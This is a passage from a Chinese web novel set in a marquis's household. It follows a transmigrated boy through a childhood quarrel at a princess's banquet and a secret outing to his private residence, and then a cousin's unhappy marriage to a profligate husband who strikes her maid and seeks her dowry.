大娘子拍了拍嫂子的手,“放心,我心里有数。”虽是姑嫂,但侯府实情也不好吐露,大郎如今虽瞧着还好,她也不可能将鸡蛋放在一个篮子里。况且王姨娘事少没主见,遇事只会哭,二郎对她也算恭敬孝顺,最重要的是他是真的将姐姐放在心上。
封砚初任由姐姐拉着走近亭子,抬头看挂着一匾,上书‘红渠细香’四字。
此处已经有好些孩子,有的贪嘴吃着公主府才有的点心,有的踢毽子,有的扑蝴蝶,还有的在荡秋千,好不热闹。
最先看到他们的是唐沐,自从几年前他就瞅着封砚初不太对付,语气自然也好不了,“你们怎么也来了?”
封砚敏正要张嘴,封砚初拧眉道:“你来得,我们就来不得?”
旁边一个与唐沐玩的正好的男孩见状,问道:“他们是谁?”
话到嘴边,唐沐改口道:“是武安侯家的孩子,这次跟着我姑母一起来的。”
那孩子长‘哦’一声,眼神也不似方才,神情中颇有些瞧不起的意思,“原来他俩就是你之前说的,你姑父那两个庶子吧,这里也是他们来的地方?”
封砚开与封砚初虽是庶出,可封砚敏自来与两个弟弟关系亲厚,怎能容忍别人用这个语气,上前两步,回怼道:“那又如何?我大弟弟将来可是要承袭爵位的,我二弟读书也十分厉害!恐怕有些嫡子将来也未必有我弟弟出息!”
唐沐将旁边气冲冲往前的那孩子往身后拽了拽,对封砚敏道:“表妹,他是平昭公主的儿子陈泽文。”封砚开本来想要说些什么,可听了这话便一动不动。
封砚初上前见了礼,不紧不慢道:“原来是此地的主人啊,可即是公主请我家前来,身为她的儿子怎能口出恶言为她脸上抹黑?如此岂不是有违待客之道?”
陈泽文脸色阴晴不定,最终扔下了那句,“你给我等着!”然后转身离去。
等人离开后,封砚初走近几步,盯着唐沐,“我竟不知你在背后说了我们兄弟这么多是非?有胆量面对面说,背后说人?哼!”到最后不屑的摇了摇头。
封砚开长舒一口气,“二弟,你刚才真胆大,那可是平昭公主的儿子,忍一忍也就罢了!”
“难不成大哥真以为忍一时风平浪静?这里除了咱们俩个,其余都是各府嫡子,如果真忍了,他们只会更看不起咱们,当咱们好欺负!”封砚初觉得有仇就要当场报,否则忍下去,岂不成了忍者神龟,自己憋气,倒是便宜了别人。
封砚敏也朝着唐沐冷哼一声,对封砚开道:“大郎不用担心,若是母亲真要罚,那就罚我好了。”
就在这时,一个声音传来,“砚初!”原来是大舅母的侄子——安南将军将军孙家的——孙延年。
“二郎!怎么方才没见你?”自从几年前封砚初与孙延年,在唐家玩过一次之后,两人的关系竟渐渐亲近了不少。
孙延年过来之时,正好碰见陈泽文一脸不悦,“我去解手了,发生什么事了?我瞧见陈泽文一副怒气冲冲的样子。”
封砚初便将方才发生的事情大概说了一遍。
“这事啊,你不用理他,他三弟前段时间在学堂里被先生夸赞了,他正为这事不高兴,所以但凡看见不是嫡出的,都要讽刺几句。”
是的,这就是现实与电视剧的差异,即使是皇家公主,那也拦不住驸马纳妾,陈驸马也有两房妾室,一房是他以前的通房丫鬟,另一房是在公主怀孕后纳的。
要说公主对此是否会吃醋,那就要因人而异,想要平昭公主对此事吃醋,那是不可能的。在公主心里,这俩人不过是驸马解闷的玩意罢了,根本不可能将她们放在眼里。
就连陈驸马的两个庶子也是生活在陈府,很少出现在公主眼前,而驸马则是与公主一起生活在此处。更何况当初平昭公主之所以看中陈驸马,就是因为他相貌甚美,再加上驸马在朝中不会任要职,所以她对纳妾之事也是睁一只眼闭一只眼。
第三十八章 看来被拆穿了
封砚初扫视了一圈,觉得大家玩的都很幼稚,指向不远处提议,“那边的湖面没有荷花,咱们去打水漂,怎么样?”
孙延年一听这建议,连连点头,“好啊,好啊!”
封砚开心中犹豫,不过还是拒绝了,“我就不去了,在这里陪着姐姐。”比起和二弟打水漂,他更愿意在这交些朋友,毕竟他与二弟不同,虽是庶出,可将来是要承袭爵位的。
封砚敏看了看在花丛中起舞的蝴蝶,终究想去,“那你小心些别掉下去,要是有事让碧玉告诉我。”
封砚初哪里不清楚姐姐还是不放心,担心他调皮掉进湖里,连忙点头应了,否则对方真可能舍弃玩耍,跟在他身后。
“姐姐放心吧,我会小心的。”说罢,俩人一起前往。
孙延年对这一幕却有些羡慕,“你与你姐姐虽非同母所生,可关系真好,不像我亲姐姐,还是一个娘生的呢,处处挑剔我的不是。”
封砚初怎好去说旁人的不是,更何况是孙延年的姐姐,连忙打岔,“哎呀,不说这些了,咱们赶紧捡一些小石头,打水漂最好用的就是这种扁圆形的小石头。”说完,顺手从路边捡起一枚递给对方细瞧。
孙延年的目光果然被吸引了,恍然大悟的样子,“原来这种石头最好。”
“咱们多捡一些,一会儿我教你,你会了以后,咱们比赛如何?”封砚初收回石头,继续在路边寻找,就这样,俩人到了之后,已经捡了不少石头。
俩人正玩的开心。
“你看我打了三个!”孙延年对于自己的进步还是很兴奋的,毕竟他最开始只能打一个。
“有进步,继续加油。”封砚初说完,手上使力,将流云剑诀运用其中,石子就像悬浮的飞镖一样掠过水面,接连十几个,直到飞出水面到达对岸。
就在此时,一个额头有些红肿的小孩走近,身后还跟着两个丫鬟,本来因生气而泛红的脸颊瞬间消气,反而好奇地问道:“哎,你们这是干嘛?”
“打水漂呢?没看见?”孙延年依旧努力延长石子在水面的时间,头也不回的说。
“我也要玩,可以教教我吗?”那孩子也想学。
“我还在练习呢,你要是想学就问问封砚初,他要是同意你就学,好哎,四个了。”孙延年说到这里,打出的石子竟然多点了一个,“不过你还要捡一些石头。”
说到这里,孙延年才停下转身,紧接着吞了一口唾沫,有些紧张地行礼,“孙延年见过六殿下。”顺带还拽了拽旁边的封砚初。
“六殿下!”他也赶紧行礼,“封砚初参见六殿下。”之前因为大舅母孙芷与大娘子俩人之间的对话声音小,还有眼神交流,所以他并未察觉六殿下的身份。
六殿下倒也客气,“不必多礼,我刚才看见了,你的水漂打的很好,能教教我吗?”
眼前之人虽然年龄看着小,但地位高,封砚初怎么可能拒绝,当场就答应了,“自然可以。”
六殿下听了这话眉开眼笑,他看向旁边的丫鬟吩咐道:“流霞,去捡些石子来。”
那个叫流霞的看了看另一个丫鬟,福身行礼,“殿下注意安全,奴婢去去就来。”
封砚初教的认真,六殿下学的也很投入,觉得自己掌握方法后,便开始打水漂,只是撑死就打出两个。
“我刚才瞧见你和陈泽文起了争执?”六殿下一边玩,一边问道。
“只是相互辩解了几句罢了。”封砚初怎么可能承认,别看六殿下年岁小,可毕竟是在宫里长大的,心眼肯定不少。
“哦,你没生气就好,他那人说话就那样,我本想代他替你道歉,既然你没放在心上那便算了。”六殿下说到此处,又指了指略微红肿的额头,“你可知道我这额头上的伤是怎么来的?”
其实封砚初猜到了,不过装傻摇头,“不知道。”
“是你扔过去的石头砸的。”六殿下说到这里看向封砚初,见对方没有道歉的意思,继续开口,“我本想兴师问罪的,可见你们俩玩的这么开心,水漂打的这么好,我也想学。”说话后依旧看着封砚初俩人,表露出你们看我好吧的意思。
封砚初也只能配合对方,拱手致歉,“多谢六殿下不计较。”
六殿下高傲的哼了一声,仰头道:“我原谅你了!”
他自己玩的好好的,实在不想伺候这六殿下,可是对方兴致正浓,只能陪着,还时不时指导一番,真真是度秒如年,难熬的紧。
三人又玩了好一会,其实主要是他与孙延年陪着六殿下玩。那边终于派人来叫,到了开宴的时间。
刚到地方,就看见位置已经分好,招待这些女眷的是曲水流觞宴,不远处还请了宫内的戏班子在台上唱曲,而这些人围坐在一起饮酒赏曲,好不自在。
孩子们被安排在另一处,毕竟对他们来说吃好玩好,才是最重要的。六殿下虽然身份尊贵,但也被安排到与孩子们坐在一起。
大皇子妃看见六殿下额头上的红印,有些担心,毕竟人是她带出宫的,“六弟,你的额头怎么了?”
六殿下倒也没拆穿封砚初,反而遮掩道:“方才跑来着,不小心摔倒了,大嫂不用担心。”这让封砚初难免高看两眼。
大皇子妃细细查看后,发现并无大碍,这才松了口气,“净胡说,你是我带出宫的,自然要将你好好的带回去。”
好巧不巧,封砚初所坐的桌子与陈泽文正好比邻,距离很近。自从他坐下后,此人的眼睛就没离开过他身上,目光卓卓,都快将他烧个洞出来。
六殿下见状,眼睛一转,趁着对方起身的空档将椅子后撤。他正大光明而为,旁边的人自然看见了,可都碍于对方的身份,没人敢提醒,就这样,陈泽文硬生生吃了个屁股蹲。
“谁干的!”陈泽文起身拍了拍土,环视周围问,可没人告诉他,又看向封砚初,用眼神质问。随即一想不可能,封砚初与他不在一个桌子,而且中间还隔着好几个人,直到宴会结束,他也未查着人。
六殿下却在离开前,主动解释,神情得意,“陈泽文一向以身份地位看人,我也不喜欢他这样,怎么样?正好帮你报仇。”令他万万没想到对方并不领情。
若是别的小孩兴许还真就被感动了,觉得对方真正的拿自己当朋友,封砚初并非真正的小孩,这点小伎俩如何看不出,“殿下,我与他不过是几句口角争执罢了,我并无报复之心。”
六皇子脸上有些不快,他觉得自己方才同他们俩个玩的很开心,“哼!不知好歹,要不是看在你教我打水漂的份上,我才不帮你呢?”
“殿下真的是在帮我吗?还是打着帮我的名头,自己趁机出气?”小孩子之间的几句口角,封砚初过后就忘了。
六皇子确有此心,如今被拆穿并不生气,反而笑道:“罢了,看来被你拆穿了,以后有机会咱们再玩。”
这一幕被大娘子,长姐,大郎看在眼里。
回去的路上,几人就开始质问,因为并没有可隐瞒的地方,封砚初一股脑全说了,当然除了六殿下额头红肿的由来未说。
第三十九章 姨娘,别再说了
出乎预料的是,大娘子并未因此责怪封砚初。因为在她心里,敏儿身为长姐爱护弟弟是应该的,可反过来,弟弟保护姐姐也是应尽之责。
封砚敏见母亲并未责怪,心里也松了一口气,脸上的笑也真挚了几分,“母亲不责怪就好。”
“又不是什么大事,母亲怎会怪你们,相反看你们姐弟之间互相保护对方,母亲才更高兴。”大娘子爱怜的看着女儿,女儿被她养的很好。
她并非没察觉到大郎的情绪变化,但那又如何,自己的女儿为了维护弟弟挺身而出,可关键时刻,大郎退缩了,还是二郎站出来。
大郎又一次觉得自己好像做错了,当时姨娘的话不停地在脑中响起:大郎,虽然将来武安侯府的爵位由你继承,可你毕竟是庶出,你父亲对二郎愈发看中,在此期间你万不可出错,要多结交那些出身高贵的孩子,即使未能交好,但也万万不可得罪人。
方才他还专门留在亭子里,为的就是可以将唐沐哄回来,因为他发现对方虽然背后说人,但关键时刻还是维护着他们的。最后一问,唐沐其实对他并未有什么,更多的是对二郎不满,所以在陈泽文面前,难免因抱怨而露出来。
之后又趁机结交了几个出身不错的孩子,那些孩子得知他虽是庶出,可将来是要承袭爵位之后,果然改变了态度。只是让他没想到的是,比起与那些孩子浅淡的结交,二郎与六殿下倒是玩的不错。
封砚初察觉到大郎的低落,伸手拍了拍对方的胳膊,表示安慰。
封砚开看见二弟对自己露出的笑脸,也回以笑容。是啊,那又如何,这可是自己的弟弟,怎可心生妒忌呢?以后也要多多关心姐姐,不能再让母亲失望了。
大娘子将一切看在眼里,心里一时之间竟有些复杂,她没想到二郎是个如此敏锐又心软的孩子。
封砚开刚回去,刘姨娘就迫不及待的找上门,有些兴奋地问道:“大郎,今日你去平昭公主府如何?”
大郎并未表现出兴奋,神色反而有些失落,他还是没忍住,将亭子里发生的事情全盘托出。
“姨娘,我当时要是勇敢一些就好了,姐姐那般维护我,我竟然在关键时刻犹豫了。”
刘姨娘的关注并不在姐弟之情上,她听了之后惊地差点没叫出声,唯恐封砚初带累儿子,语气中满是抱怨,“什么?二郎竟然那般鲁莽?幸亏平昭公主和陈郎君未曾怪罪,否则连累你就不好了!”
封砚开对于姨娘的话不敢苟同,“姨娘,你在胡说些什么?二郎是我的亲弟弟,我未能及时站出来就已经羞愧难当了,你竟然还担心二郎连累我?”
刘姨娘觉得儿子已经被二郎洗脑了,又不是一个娘生的,不想着早早防备,竟然还处处为对方着想,万一爵位被抢怎么办?
“那是你的亲弟弟吗?他和你可不是一个肚皮里生出来的!你这般维护他,万一将来你父亲反悔改立他怎么办?”
封砚开眉头微微一皱,用惊异的眼神凝视对方,言语中满是不可置信,“姨娘!你听听你说的叫什么话!我与他乃是同父兄弟,如何不是亲兄弟?他处处想着我,我自然要处处想着他!”
刘姨娘恨铁不成钢,眼睛微眯,投去的目光十分严肃,“他那是为了哄你!别看二郎面上调皮,实则心机深沉,他以前是什么样子?那是到处惹祸的主!可你看看现在,将你父亲和母亲哄的团团转,没准将来爵位也要被哄去!”
“姨娘,别再说了!你觉得二郎心思多,可二郎对姐姐赤城,处处为家中兄弟姐妹着想。父亲不许姐姐学骑马射箭,是二郎求得父亲同意。三弟被下人欺骗,母亲本不想管,也是二郎求母亲遣散那些小厮。”
“你要我争气,对谁都要防着,可到头来又得到了些什么?母亲必定是觉得我事事只想着自己,不为姐姐多想,这才对我越来越淡的!”
封砚开原本想给姨娘倾诉,让姨娘开解开解,没成想到头来她竟是这般心思。此时此刻他羞愧急了,想找个地缝里钻进去,再也不见人,但那怎么可能,所以只能让姨娘先回去。
他转过身不敢看刘姨娘的眼睛,几乎是闭着眼将话说完,“近日我要读书,姨娘没事就别过来了,免得让我分心。”
刘姨娘没想到她多年疼爱有加的儿子,竟然说出这番话。一想到儿子不仅执迷不悟,还对她这个生母疏离起来,只感到痛心,觉得多年心血付之东流。可她就这么一个儿子,将来还要靠他,此时不妨姿态放低一些。
想到此处,她脸上满是焦急之色,话音一转,“大郎,是姨娘的错,是我小心眼胡乱揣测,你别生我的气,下次不说了。”说罢垂头丧气的离开。
毕竟是自己的生母,封砚开听见姨娘这么说,心里又觉得不忍心,觉得自己不孝,一时之间竟有些矛盾。
时间对孩子们来说,悠长而又缓慢。
这一天,终于让封砚初逮到了机会,可以溜出侯府。
这天休沐,也是大姑母的女儿出嫁之日。虽然大姑母与侯府闹的不愉快,但毕竟属于家丑,所以到日子大家还是要去的。
封简宁知道外甥的德行,所以此次并未带任何孩子。而封砚初以要读书为由拒绝了兄弟的邀约,并且给他院子里的下人放了半天假。他穿着小厮的衣服,从后门溜了出去,跟着的人正是冯四。
马车上,他换上了自己的衣服,毕竟人靠衣装,就他这身衣服,普通人轻易不敢造次。
马车行驶了半个时辰,终于到了广林巷。果然如冯四所言,此处人少,就连白日也很清净。
“郎君,到了。”
他手持一把小折扇,掀开帘子下了马车。映入眼帘的宅院并不气势恢宏,反而显得清雅别致,门口的牌匾上书“枕松闲居”四字,其中‘枕松’二字,来自“偶来松树下,高枕石头眠。”乃是唐朝太上隐者所著诗句的上半阙。是此宅院本来就有的,他觉得寓意不错便没有摘,现在瞧着书法也是上佳,更不用改。
他站了这一会儿,往来行人果然很少。
推门而入,里头基本修葺完善。比起侯府的富贵,此处多了些清幽,屋舍梁木,花草树荫也非名贵,可竟让整个宅院显得雅致了许多。
他四处看了看,里头虽家具齐全,但未有人住,显得有些空旷。他最关心的是药房,里头放置药材的药柜倒有,只是需要用到的药碾,药杵臼,刨刀等物还没有。
放置武器的武器架,除了一张弓,剩余的地方空空如也。书房更是半本书也没有,不过书架,书桌等物倒也齐全。卧房内的家具一应俱全,其余的还未置办。
“嗯,很不错!”封砚初指尖划过桌面,细细打量着四周,随后赞道。
冯四这一路十分紧张,而郎君一言不发,更让他心中忐忑,如今听见这声赞叹,心也放进肚子,古铜色的脸上也露出松懈的笑意。
“郎君满意就好,小的原本还担心呢。”
“这里虽不留人看守,但你也要每日过来查看。”封砚初眼下没有可用之人,也只得如此。
“是,郎君。”
第四十章 遥不可及的梦
既然出了府,若是就此回去,岂不是亏了。
‘枕松闲居’虽不错,可毕竟只有十来所房舍,封砚初里里外外转了一遍也就完了。
因为是偷溜出来的,冯四全程提着心,他见郎君逛也逛了,看也看了,便上前问道:“郎君,现在可要回去?”
封砚初好容易出来一趟,怎可罢手回去,他出来之前已经探查清楚了,出了广林巷,走上不到一刻钟的时间就到了宝庆街,“现在时间还早,听闻宝庆街距此处不远,顺道去逛一逛。”
冯四听见这话有些欲哭无泪,他就知道,郎君怎么可能安安分分的回去,不过还是在心里期盼对方能听进去,便劝道:“郎君,今日您是偷着出来的,还是小的领您溜出来,万一被人发现,可就遭了。”
“不用担心,我给院子里的下人都放了半日假,她们有这半日空闲,还不到处逛去?”封砚初一边摆手安慰,一边朝马车走去,可见下定决心要去宝庆街。
从广林巷出来,绕过临近的梧桐巷,又行了大约不到一刻钟,便来宝庆街。此时已经是巳时三刻(上午九点半),马车刚行至街口处,就听见此起彼伏的叫卖声。
他掀开车帘,熙熙攘攘的人流与街道两旁林立的商铺织就着宝庆街的繁荣。
冯四朝街市里头张望了一会儿,只觉得里头人声如沸,又瞧见左边有一处客栈可以暂停马车,“郎君,马车进不去,若是想逛只能下来,或是雇一顶轿子。”
天可怜见,这是他穿越以来,第一次真正看到这古代的街市,满心欢喜,怎么可能坐轿子?他眼睛仅仅盯着这热闹的所在,头也不转地说,“坐轿子有什么意趣,还不如边走边逛。”
“那小的先将马车暂放在旁边的吉祥客栈。”说话间,冯四将马车驶向左侧。
吉祥客栈的店小二早就瞧见了,十分殷勤的迎上来,“客官,打尖还是住店?”
冯四指了指马车问道:“你们这里可能停放马车?”
店小二以为是住店的,脸上笑吟吟地点头,“自然可以,小的帮您赶车,您里面请!”
冯四见对方误会,解释道:“我们只是暂时寄放马车,一会儿就来取车!”
能在京城这个地段开客栈,店小二自然也见得多了,虽说不远处也有专门停放马车的地方,但他立即灵活变通:“客官想放多久都行。”
就在此时,封砚初突然从马车里钻出来,还吓了店小二一跳,“哟,小郎君!”
冯四继续道:“不白停,一会自有车马钱。”说完,看着小二停放好马车,便立即跟上封砚初。
封砚初真可谓是看稀奇,左瞧瞧,右摸摸。他瞧着外面小摊贩上售卖的东西多是寻常物件,精致一些的都在店铺里。
就比如首饰摊上的发钗,耳坠等物,大多都是铜的和木的,虽也有银的和玉的,只是要么做工显得粗糙,要么玉不好。
逛了一会,竟觉得腹中空空。只是一圈看下来,觉得外面的摊子看着有些脏,只是随意找了一家酒肆进去。
店小二打眼一瞧,便知前面的郎君虽年龄小,但确是主,后面跟着的看着年龄大些,实则是随从。
小二上前行了一礼,赶紧将人迎进来,“问小郎君安,请问小郎君想用些什么?”
封砚初四处查看了一番,环境尚可,随即道:“你们这里有什么拿手菜,挑上四五道上来。”
“唉,您请好吧,我家酒肆的菜品在京城那可是数得着的。”说话间,已经将人请到桌前。
冯四原本站在一旁,还是封砚初再三请他,这才坐下。
过了一会儿,菜就陆陆续续地上了,有蟹酿橙,蟹黄馒头,河鲜盖饭,八宝葫芦鸭,鱼羹。
封砚初一一吃了,这才发觉原来自己在侯府享用的虽不是顶尖,但也是上好的,所以这些饭菜味道还算不错,只是并未有惊艳之感,反观一旁的冯四,吃的十分香甜,并未浪费。而这一顿饭下来花了他一两四钱银币。
出了酒肆,时辰已经临近午时,封砚初并未继续逛下去,而是去了一间书肆。
里面除了一些经史子集以外,还有很多话本小说等杂书。说实话,面对娱乐匮乏的古代,这些书确实很吸引他。不过终究坚强的意志战胜了欲望,最主要是他也没时间看这些杂书。
所以挑选了一些他没有的,一些正常学习要用到的书。直到付钱之时,他这才发现,小说里都是骗人的,原来古代读书这么贵,别说普通农户,就是小地主家也供不起。
他不过是买了六本书,还不是十分稀缺的书籍,就这都花了十二两银币!太贵了!他尚且觉得如此,那对于普通百姓而言,更是遥不可及的梦。
第四十一章 一窝子豺狼虎豹
封砚初几乎是与家里大人前后脚进门,他刚坐到桌前翻看他买回来的书,就听下人说老太太他们回来了。
到下午快黄昏之际,长姐封砚敏来了,进门就问,“二郎,我今天上午找你,你去哪了?”
封砚初亲自将写完的课业收拾好,并未见半点慌乱,“姐姐上午来找我了?”
“是啊,你院子里的雪香来找碧玉玩,听她说你在屋里读书,不许打扰,还给她们放了半天假呢。”封砚敏回答问题时,东看看西摸摸仔细打量房间。
封砚初并未正面回答自己去了何处,“哦,她们每日守在我身边,觉得有些烦,便给她们放了半日假,正好祖母她们也不在,也算是给我自己放松放松。”
封砚敏果然并未继续追问,反而深有感触,赞同道:“就是啊,我也是成日被她们盯着,这还不算,王姨娘不太管你,可我却整日在母亲的眼皮子底下,一旦有个风吹草动,就打发半夏和铜雀她们来问,钱妈妈如何敢隐瞒。”她至今还是与母亲住在一个院子,对于二郎能一个人单独住,十分羡慕。
封砚初看出来了,笑道:“姐姐不妨给母亲去说,就说你想自己单住?”
“我才不呢,母亲是不会同意的,没准还觉得是别人挑唆的,何苦让他人担责。”封砚敏虽有心,但母亲只有她一个亲生的女儿,所以并不想对方伤心。
说到这里封砚敏才反应过来自己来的目的,“对了,我这次来是要告诉你大姑母家的事情,都怪你打岔,我差点忘了。”
封砚初笑嘻嘻的作揖行礼,“都是弟弟不好,姐姐快说说什么事情,我可想听的紧。”
“好吧,那我就告诉你,我听母亲说了,祖母回来的路上心情一直不好!你知道为何?”
“快说,快说!”封砚初心中大概有了一二猜测,不过还是配合着。
封砚敏得到满足,又问道:“那你知道孙家表姐嫁给谁了吗?”
“我记得是安远侯府的秦三郎,当时姑母十分满意,还专门到家里来炫耀呢,气的母亲骂了半日。”这事封砚初有印象,当时姑母来炫耀时十分得意,明里暗里说大娘子不尽心,见不得外甥女好,可把大娘子气的不轻。
“这秦三郎可了不得,整个就是不学无术。他大哥是安远侯世子,二哥是大娘子嫡次子,而他因是庶出自然不受重视,若单单如此也就罢了,听母亲说凡他身边伺候的都收了通房,在外也是沾花惹草,还不学好,时常有秦楼楚馆,酒肆茶馆的掌柜上门要账,所以在安远侯府处境十分尴尬。”
“他之所以着急娶表姐进门,是因为妾室有孕,安远侯夫人才不想管这破事,不过为了安远侯府的名声,这才急急忙忙给他娶妻。祖母听了这事都气的不行,可姑母却说很好,觉得自己女儿嫁进侯府做了大娘子。”
封砚敏说完还止不住摇头,带着同情感叹,“冉表姐多好一个人,怎的就嫁给那样的人,听母亲说冉表姐出门子的时候,脸上不见半点笑。”
封砚初也十分唏嘘,姑母和姑丈俩人都不行,冉表姐这属于歹竹出好笋,许是姑母强势的缘故,她性情有些软弱,这样的人嫁入那个吃人的地方,以后如何好过得了。
不禁长叹道:“安远侯光儿子就有七个,府里争斗严重,冉表姐性情温柔,如何应付得了。她若是能嫁入一个家中简单些的,将来或许能好些。”
话音刚落,封砚敏就注视着他,“你竟与母亲说的一模一样,就连祖母都说,姑母只想着为自己争脸面,但凡真正疼爱冉表姐,也不会给女儿选这样的人。”
果然如封砚敏所言,老太太正在房里唉声叹气,朝温氏抱怨着,“你说说她,这是一个母亲该做的吗?这可让冉儿后半辈子怎么过?”
温氏自己也有女儿,对这种事颇有些感同身受的意思,只是老太太抱怨归抱怨,她一个儿媳妇如何说得,“大姐姐许是觉得安远侯府可以解决孙尧的事情吧。”
“孙尧就是个不成器的,眼见没了科考的资格,便是塞进巡城卫又能如何?他就是个不安分的,以后保管还会惹事,为了这个不争气的,硬生生葬送了女儿后半辈子!这是她一个当母亲的人做出来的事?”老太太说的这里,气的直捶桌子。
温氏赶紧拉过老太太的手温声安抚,“母亲仔细手疼,冉儿命苦,就连她父亲对此也一言未发。”
“真不愧是一对夫妻,只想着儿子,不为女儿考虑半点!那孙尧也是个可恶的,人还未嫁过去,就惦记上妹妹的东西!”新人拜别当场,老太太也在一旁观礼,没想到这孙尧口口声声,满嘴都是即使嫁过去了,也要为娘家多想,毕竟以后还要靠他这个哥哥撑腰。
“真是一窝子豺狼虎豹!要将冉儿吸髓敲骨,吃干抹净才罢休!”老太太说到这里心疼的不行,外孙女比她母亲强出不少,当年她母亲将自己气的病倒,亲生女儿一次没来,倒是外孙女几次上门探望。
这时青梅端着一壶三花茶进来,倒出一杯递给老太太,“老太太,奴婢沏了一壶三花茶,最能疏肝解郁,您快喝些消消气,自己的身子最要紧。”
温氏跟着附和:“是啊,您要当心自己的身子,您就是再生气又能如何,外甥女毕竟是孙家女,您就是想管,中间还隔着亲生父母呢,以后还要劳烦您多看顾着些。”
青梅也说道:“您要是将自己个儿气出个好歹来,先不说家里人着急,就以后如何照看表姑娘呢?”
老太太听两人这么一说,觉得有道理,夫君早就放弃了女儿,更不会管外孙女;两个儿子要不是因着一层血脉,巴不得没了联系;大儿媳妇早就厌恶了女儿一家。
虽说她对女儿已经很失望了,但自己还是有几分心疼外孙女的,若真的倒下,旁人根本靠不上。于是长叹道:“罢了,你们这样劝我,我便喝了这茶,消消气。”
第四十二章 我花的是自己的钱!
日子终究要自己过,别人即使再心疼也不过感慨两句罢了。
话说孙冉嫁进去之后,才发现夫君在安远侯府的处境比母亲说的还要差,只是她性子软,既然嫁进来,那自然是要好好过的,可她这么想,不代表着旁人也是这般。
秦三郎硬生生忍到回门后,便故态萌发,不仅当天晚上没归家,接连三五日都未见人影。
直到一日傍晚才回来,第二天就有红乐坊的人上门要账。以前碍于侯府脸面,安远侯夫人不知给其平了多少账,现下已成婚,自然将人推给孙冉。
来的是一个四十来岁的女人,浓妆艳抹,一看就不是正经人,对方倒是知礼,进门先是行了礼,然后看也不看秦三郎,直接对孙冉说:“孙娘子,秦三郎欠了我们红乐坊三十两银币,安远侯夫人说秦三郎已经成婚她也不便管,让小人找您。”
孙冉如何见过这种场面,当下就愣住了,呆呆地看着眼前之人,视线在俩人之间来回转变。
那女人见孙冉不说话,以为对方不想管,立即道:“您是安远侯府的大娘子,想必不会拖欠我们红乐坊这点钱吧?”
这秦三郎也不是个东西,他见孙冉的目光落在他身上,颇有些恼羞成怒的意思,“你看我做什么?既是来找你的,你看着处理就是。”说罢竟甩袖离去。
“孙娘子,您看这银钱……”
里里外外这么多人,孙冉只觉得脸上烫的慌,忙吩咐丫鬟金桂拿钱,想将人赶紧打发走,“快去取三十两银币给她!让她赶紧走!”
金桂早就对这个姑爷心生不满,拿钱的过程颇有些摔摔打打的意思,将钱扔进对方怀里,并狠狠瞪了一眼对方,“还不赶紧拿着钱滚!”
那人拿着钱乐呵呵的就要走,金桂追上去喊道:“欠条呢!难不成你想吃两份!”
那人从怀里将欠据还给金桂,也不恼,“哎呀呀,你看我这脑子,竟忘了。”
等屋子里只剩下主仆俩人,金桂终于忍不住对孙冉抱怨,“姑娘,你就这么将钱给了那人了?三十两啊!连个响也没听见!看姑爷那副样子,今后这样的事估计少不了,您这嫁妆银如何经得起这般糟践!”
孙冉眼泪再也忍不住掉下来,呜呜呜地哭了,“我嫁进这样的地方,娘家也没指望,你让我怎么办?”
“姑娘,瞅姑爷那样,是个没担当的,以后别说从他那拿钱家用,他不来朝你要就是千恩万谢了。更何况还有一屋子通房妾室,您好歹态度强硬些,这种事再找上门你干脆不见,也告诉姑爷,您没这个钱给他!否则早晚将您掏空,到时候您还能指望谁?”金桂继续劝着孙冉。
“可若是不给,只会让夫君丢脸,夫妻一体,我自然也脸上不好看。”
“我的好姑娘,三郎君自己个儿都不在意丢脸,您在意什么?他就是看准姑娘你性子软,能从你这里要到钱!姑爷若非手上没钱了,只怕您还见不到人呢!”
说到这里金桂又忍不住道:“您等着吧,没准他一会还要找你要钱出门去呢!”
“不会吧?”
没成想竟然让金桂预料到了,红乐坊的人才走不到一个时辰,秦三郎就觍着脸来了,“娘子,有几个好友找我,给我拿三十两银币,我好出门待客。”
孙冉心里咯噔一下,还真如金桂说的一模一样,她眼神有些躲闪,说出的话十分忐忑,“我的钱都是金桂管着,再说红乐坊的人才要了三十两。”
还未等秦三郎说话,金桂心中暗暗翻了个白眼,语气里的不满都快溢出来了,“好叫郎君知道,我们娘子进门的嫁妆银都给红乐坊还了账,再说也没有拿着自家娘子的嫁妆花用的道理。”
秦三郎被这话说的冒火,对着孙冉看在几两银子的份上,还有两分客气,如今一个小小的丫鬟也敢说嘴,当下一巴掌就将金桂扇倒在地,指着对方的鼻子骂道:“少满嘴胡吣,娘子既嫁进我安远侯府,那我三房的账目银钱自然是归她管,我花的是自己的钱,可不是她的嫁妆银!”
让人可笑的是,秦三郎自己的钱都不够花,还要侯府贴补,三房哪来的钱?可现在却堂而皇之的说出来。
孙冉见金桂被打,赶紧上前将人扶起来,泪眼婆娑道:“夫君自己都需侯府帮忙还账,三房哪来的钱?你又何苦朝金桂撒气?”
秦三郎见此好没意思,冷哼一声,连看也不看一眼,摔门而出。
金桂这才低声抽泣着哭诉,“姑娘,如此你还觉得姑爷靠得住?他分明是要花你的嫁妆银,竟还打着是在花三房的钱,姑娘,你可得强硬起来,否则就要被欺负死。”
其实幸亏金桂长相十分普通,又与孙冉性格截然相反,是个刚毅之人,秦三郎实在没兴趣,否则这几天便偷摸得手了。
无论是金桂的话,还是秦三郎方才的行径,都给孙冉提了醒。她是性格软弱,不是傻子,若是不做防备,银钱根本保不住,如今她才嫁进来没几天就如此,以后只怕会更过分。
她打开妆奁,里面除了一些插戴的首饰之外,还有两千两银票,又拿出一个钱匣子,虽然不太大,里面也装满了银币铜钱。
过了好一会儿,她这才说道:“只要这些钱放在我这里,是留不住的,明日与我去一趟武安侯府,看望外祖母吧。”比起秦三郎,她的兄长孙尧更靠不住,她想到对自己还有两分心疼的外祖母,心里有了别的打算。
“姑娘,您的意思是?”金桂立马来了精神。
“钱匣里的铜钱留着,再留五十两银币,剩余的银币和这两千两银票明日一起带着,让外祖母帮我保管,免得被夫君搜干抹净。”这是她从哥哥那里得来的教训。
哥哥每次缺钱就会去她屋里搜刮,时间一长,她也只能自己想办法,将钱放到母亲那儿避祸。但从此次的婚事她也看出来了,母亲终究还是最疼爱哥哥,她已经不放心再将钱放到那儿,只能求助外祖母。
第四十三章 账上的窟窿
秦三郎第一天没要到钱,也因此对孙冉有些恼怒,晚上便宿在了姨娘的房里,他觉得能起到警示作用,可孙冉并未受到影响,自她嫁进来就有心理准备。
次日,当他信心满满的去找孙冉时,却得到了已经出门的消息。
老太太用过早饭过后,正在院子里赏花,二门上的人来禀报,孙家表姑娘上门了。
“冉儿不是成婚没几日,怎么这时候来了?”老太太停下脚步,心中疑惑。
一旁伺候的青梅猜测着:“是不是在安远侯府待的不舒服,或是受了什么委屈?”
